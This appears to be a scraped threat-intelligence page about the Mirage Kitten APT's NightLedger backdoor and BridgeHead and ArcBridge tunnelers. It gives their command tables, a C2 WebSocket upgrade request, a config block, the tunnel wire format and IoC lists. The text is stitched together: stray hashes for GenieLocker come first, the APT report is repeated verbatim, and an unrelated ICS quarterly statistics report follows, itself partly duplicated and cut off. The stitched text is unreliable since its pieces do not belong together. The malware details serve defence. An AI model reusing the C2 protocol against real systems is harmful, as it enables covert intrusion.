824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID	Description
1	Gather user and host identity information
3	Execute a process/program
17	List directories
20	Download a file to the infected system
25	Gather host and network information
27	Copy a file
30	Update beacon interval
36	Take a screenshot
43	Load a DLL
56	Kill a process
62	Delete a file
69	Terminate thread
70	Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75	Enumerate logical drives
90	List processes
93	Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response	Description
407 (Proxy Auth Required)	Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)	Success. Proceeds to WebSocket upgrade and authentication.
Other	Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset	Size	Field	Encoding
0	1	type	Message type (1–9)
1	4	connId	Tunnel connection identifier
5	1	flags	Status or error indicator
6	2	dataLen	Payload length
8	var	payload	Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type	Name	Direction	Description
1	CONNECT	Server -> Client	Open a new TCP tunnel to a SOCKS5 target address
2	CONNECT_RESPONSE	Client -> Server	Confirm the connection was established
3	DATA	Bidirectional	Relay TCP traffic through the tunnel
4	DISCONNECT	Bidirectional	Close a tunnel connection
5	PING	Bidirectional	Keepalive probe, sent every 30 seconds by timer
6	PONG	Bidirectional	Keepalive reply
9	FLOWCTRL	Bidirectional	Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte	Description
0x01	IPv4 address (4 bytes)
0x03	Domain name (1-byte length + string)
0x04	IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command	Description
OPEN:	Creates a proxy/tunnel session to a target selected by the operator.
DNS:	Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID	Description
1	Gather user and host identity information
3	Execute a process/program
17	List directories
20	Download a file to the infected system
25	Gather host and network information
27	Copy a file
30	Update beacon interval
36	Take a screenshot
43	Load a DLL
56	Kill a process
62	Delete a file
69	Terminate thread
70	Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75	Enumerate logical drives
90	List processes
93	Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response	Description
407 (Proxy Auth Required)	Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)	Success. Proceeds to WebSocket upgrade and authentication.
Other	Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset	Size	Field	Encoding
0	1	type	Message type (1–9)
1	4	connId	Tunnel connection identifier
5	1	flags	Status or error indicator
6	2	dataLen	Payload length
8	var	payload	Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type	Name	Direction	Description
1	CONNECT	Server -> Client	Open a new TCP tunnel to a SOCKS5 target address
2	CONNECT_RESPONSE	Client -> Server	Confirm the connection was established
3	DATA	Bidirectional	Relay TCP traffic through the tunnel
4	DISCONNECT	Bidirectional	Close a tunnel connection
5	PING	Bidirectional	Keepalive probe, sent every 30 seconds by timer
6	PONG	Bidirectional	Keepalive reply
9	FLOWCTRL	Bidirectional	Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte	Description
0x01	IPv4 address (4 bytes)
0x03	Domain name (1-byte length + string)
0x04	IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command	Description
OPEN:	Creates a proxy/tunnel session to a target selected by the operator.
DNS:	Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

All threats

The percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching 19.6% in Q1 2026. This is the lowest value in three years, and it is 1.4 times lower than in Q2 2023.

Regionally, the percentages ranged from 9.1% in Northern Europe to 27.4% in Africa.

The percentage of ICS computers on which malicious objects were blocked increased in five regions over the quarter, most notably in Southern Europe, Northern Europe, and Russia.

In Q1 2026, Southern Europe led the way in growth for internet and email threats. The region also saw the fastest growth in spyware, as well as malicious scripts and phishing pages.

In Russia, the percentage of ICS computers on which malicious objects were blocked exceeded the figures for the previous two quarters. Russia saw an increase in the percentage for threats from the internet, and a slight increase in the figure for threats from email clients (Russia is one of three regions where this figure did not decrease).

Among the threat categories, the greatest increases were observed in the percentages for denylisted internet resources, as well as spyware (distributed in the region via the internet and email clients).

Selected industries

Biometric systems (26.4%) traditionally rank top among the industries and OT infrastructure types covered in this report in terms of the percentage of ICS computers on which malicious objects were blocked. These systems are characterized by internet access, extensive email use for data exchange and approvals (such as access granting), and, in many cases, minimal cybersecurity controls within the organizations that use these systems.

Biometric systems rank first among industries in terms of email threats. At the same time, unlike other industries, the percentage for email threats in biometric systems exceeds that for internet threats.

In all selected industries, the global average follows a downward trend. In Q1 2026, the percentage of ICS computers on which malicious objects were blocked increased only in the manufacturing sector — by 1.0 pp. The percentages for this industry increased across 10 regions, with the most notable increases in Western Europe, Northern Europe, and Russia.

Threat categories

In Q1 2026, Kaspersky security solutions blocked malware from 10,052 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which denylisted internet resources were blocked increased (after decreasing over the previous two quarters), and there was a slight increase in the percentage for AutoCAD malware.

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages retained their to spot among threat categories by the percentage of ICS computers on which these threats were blocked. The global average in Q1 2026 was 6.56%.

Over the quarter, the percentages increased in four regions. The most significant change was observed in Southern Europe (9.85%, +0.94 pp). The figures for malicious scripts in the region increased over three consecutive quarters.

Among the selected industries, across all regions, the highest percentages for the malicious scripts and phishing pages category were recorded for biometric systems (19.59%) and building automation (15.43%) in Southern Europe. These same industries lead in similar rankings for malicious documents and spyware.

Spyware

The percentage of ICS computers on which spyware was blocked decreased over two consecutive quarters, dropping to 3.73%. Despite the decline, spyware has ranked second among threat categories by the percentage of attacked computers for three consecutive quarters.

The percentages increased in five regions over the quarter, most notably in Southern Europe (5.46%, +0.35 pp) and Russia (2.84%, +0.24 pp).

In Southern Europe, the percentage of ICS computers on which spyware was blocked increased in all the selected industries except manufacturing. The greatest increase was observed in biometric systems.

Among the selected industries, the highest percentage of spyware in Russia was recorded in biometric systems. That said, the percentage of ICS computers on which spyware was blocked increased in all industries in the region except construction. The percentage figure has been increasing for two consecutive quarters in the oil and gas industry (by a factor of 1.63 over six months), and for three consecutive quarters in engineering and ICS integration, as well as electric power. In the remaining sectors, the values have been fluctuating.

Denylisted internet resources

The percentage of ICS computers on which denylisted internet resources were blocked increased to 3.54%.

The most notable increase over the quarter occurred in Southeast Asia (4.58%, +0.65 pp). Among the industries in the region, the highest percentage figures for this threat category were recorded in electric power and construction. Over the quarter, the largest increases in percentages figures were observed in the electric power and manufacturing industries.

In North America (Canada), denylisted internet resources (2.14%) showed the greatest increase among all categories — by a factor of 1.22.

Among the selected industries across all regions, the highest percentage figures for the denylisted internet resources category were in the electric power (7.11%) and construction (6.25%) industries in Southeast Asia.

Malicious documents (Microsoft Office + PDF)

The percentage figure for this category decreased over two consecutive quarters, reaching its lowest value (1.56%) for the entire period of observations in Q1 2026. It increased just in two regions: Australia and New Zealand (1.12%, +0.04 pp), and Russia (0.62%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for malicious documents were recorded for biometric systems (9.02%) and building automation (6.97%) in Southern Europe. These same industries also lead in similar rankings for malicious scripts and spyware.

Ransomware

The percentage of ICS computers on which ransomware was blocked has decreased for two consecutive quarters, dropping to 0.14%. This is the lowest value among all categories.

The percentage increased in two regions: North America (Canada) (0.11%, +0.04 pp) and slightly in Northern Europe (0.06%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for ransomware were recorded in the oil and gas and manufacturing industries (0.92% and 0.65%, respectively) in Central Asia and the South Caucasus, and in biometric systems (0.89%) in Russia.

Miners in the form of executable files for Windows

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased to 0.59%.

The percentage increased in seven regions. The largest increase was observed in Africa (0.63%, +0.16 pp). Among the selected industries, the largest increases in the region were in the manufacturing and oil and gas industries.

Among the selected industries across all regions, the highest percentages for miners in the form of executable files were recorded in construction (1.99%), biometric systems (1.98%), and the oil and gas industry (1.97%) in Central Asia and the South Caucasus.

Web miners

The percentage of ICS computers on which web miners were blocked has been declining for a year, and in Q1 2026, it reached the lowest value for the entire period under review (0.22%).

At the same time, the percentage increased in seven regions. The largest increases were observed in South Asia (0.28%, +0.11 pp), the Middle East (0.31%, +0.09 pp), and Africa (0.34%, +0.08 pp). Despite the increases, the percentages in these regions for Q1 2026 did not exceed those observed in 2023–2024 and in Q1 2025.

Among the selected industries across all regions, the highest percentages for web miners were recorded for biometric systems (0.97%) in Russia. Biometric systems in South Asia (0.79%) ranked second, and the electric power sector in Southeast Asia (0.76%) ranked third.

Worms

The percentage of ICS computers on which worms were blocked decreased to 1.33%.

The percentage decreased across all regions following an increase in the previous quarter (due to a wave of phishing attacks that distributed the Backdoor.MSIL.XWorm backdoor worm across all regions of the world).

Among the selected industries across all regions, the highest percentage figure for worms was recorded for biometric systems (4.80%) in Central Asia and the South Caucasus. Two industries in Africa – biometric systems (4.04%) and electric power (3.53%) – took the second and third spots, respectively.

Viruses

The percentage of ICS computers on which viruses were blocked decreased to 1.31%.

The top 3 regions by this figure remained the same: Southeast Asia (6.11%, first by a wide margin), Africa (4.15%), and East Asia (2.97%). These same regions are also among the leaders by the percentage of systems affected by AutoCAD malware. The largest increase in this figure was observed in Africa (+0.41 pp).

Among the selected industries across all regions, the highest percentages for viruses were recorded in the construction industry (6.35%) and building automation (5.50%) in Southeast Asia.

Malware for AutoCAD

The percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.30%.

The most notable increase over the quarter was observed in Africa, with the region’s percentage figure rising by 0.47 pp, a very significant increase for this category, and almost doubling (to 0.91%).

Among the selected industries across all regions, the highest percentages for AutoCAD malware were recorded in the construction industry in East Asia (5.58%) and Southeast Asia (3.87%).

Main threat sources

In Q1 2026, the average percentages across all threat sources, except threats from the internet, decreased globally.

Internet

The percentage of ICS computers on which threats from the internet were blocked increased to 7.88%. However, over the past three years, the percentage figure for internet threats has followed a downward trend.

The largest increases in the percentages were recorded in Southern Europe (8.59%, +0.59 pp), Southeast Asia (10.16%, +0.55 pp), and Northern Europe (4.47%, +0.51 pp).

Among the selected industries across all regions, the highest percentages for threats from the internet were recorded in electric power (13.16%) and construction (12.55%) in Southeast Asia, and in the engineering and ICS integration sector (12.33%) in South Asia.

Email clients

The percentage of ICS computers on which threats delivered via email clients were blocked decreased to 2.59%. This is a three-year low.

The percentage of this threat source increased in three regions: Southern Europe (6.54%, +0.2 pp), East Asia (1.5%, +0.09 pp), and slightly in Russia (0.7%, +0.04 pp).

Among the selected industries across all regions, the highest percentages for email threats were recorded for biometric systems (19.78%) and building automation (12.34%) in Southern Europe. In these two industries, the percentage of ICS computers on which email threats are blocked is higher than the percentage for threats from the internet. A similar situation was observed in two other instances, both in biometric systems (in South America and Southeast Asia).

Removable media

The percentage of ICS computers on which threats were detected when connecting removable media continued to decrease, reaching its lowest value for the period under review (0.26%).

Among the selected industries across all regions, the highest percentages for removable media threats blocked on ICS computers were observed in the electric power sector in Central Asia and the South Caucasus (1.45%), East Asia (1.34%), and Africa (1.16%).

Network folders

The percentage of ICS computers on which threats are blocked in network folders is steadily decreasing. In Q1 2026, it was the lowest for the period under review (0.029%).

East Asia has traditionally led by a wide margin. The percentage for East Asia (0.135%) is 27 times higher than the lowest regional value (recorded in Northern Europe).

The largest increases in the percentages for threats from network folders were observed in Africa (0.037%, +0.006 pp) and South America (0.013%, +0.006 pp).
Among the selected industries across all regions, the construction industry in East Asia, at 0.36%, holds the top positions in the ranking by the percentage of ICS computers on which threats are blocked in network folders.

For more information on industrial threats see the full version of the report.

All threats

The percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching 19.6% in Q1 2026. This is the lowest value in three years, and it is 1.4 times lower than in Q2 2023.

Regionally, the percentages ranged from 9.1% in Northern Europe to 27.4% in Africa.

The percentage of ICS computers on which malicious objects were blocked increased in five regions over the quarter, most notably in Southern Europe, Northern Europe, and Russia.

In Q1 2026, Southern Europe led the way in growth for internet and email threats. The region also saw the fastest growth in spyware, as well as malicious scripts and phishing pages.

In Russia, the percentage of ICS computers on which malicious objects were blocked exceeded the figures for the previous two quarters. Russia saw an increase in the percentage for threats from the internet, and a slight increase in the figure for threats from email clients (Russia is one of three regions where this figure did not decrease).

Among the threat categories, the greatest increases were observed in the percentages for denylisted internet resources, as well as spyware (distributed in the region via the internet and email clients).

Selected industries

Biometric systems (26.4%) traditionally rank top among the industries and OT infrastructure types covered in this report in terms of the percentage of ICS computers on which malicious objects were blocked. These systems are characterized by internet access, extensive email use for data exchange and approvals (such as access granting), and, in many cases, minimal cybersecurity controls within the organizations that use these systems.

Biometric systems rank first among industries in terms of email threats. At the same time, unlike other industries, the percentage for email threats in biometric systems exceeds that for internet threats.

In all selected industries, the global average follows a downward trend. In Q1 2026, the percentage of ICS computers on which malicious objects were blocked increased only in the manufacturing sector — by 1.0 pp. The percentages for this industry increased across 10 regions, with the most notable increases in Western Europe, Northern Europe, and Russia.

Threat categories

In Q1 2026, Kaspersky security solutions blocked malware from 10,052 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which denylisted internet resources were blocked increased (after decreasing over the previous two quarters), and there was a slight increase in the percentage for AutoCAD malware.

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages retained their to spot among threat categories by the percentage of ICS computers on which these threats were blocked. The global average in Q1 2026 was 6.56%.

Over the quarter, the percentages increased in four regions. The most significant change was observed in Southern Europe (9.85%, +0.94 pp). The figures for malicious scripts in the region increased over three consecutive quarters.

Among the selected industries, across all regions, the highest percentages for the malicious scripts and phishing pages category were recorded for biometric systems (19.59%) and building automation (15.43%) in Southern Europe. These same industries lead in similar rankings for malicious documents and spyware.

Spyware

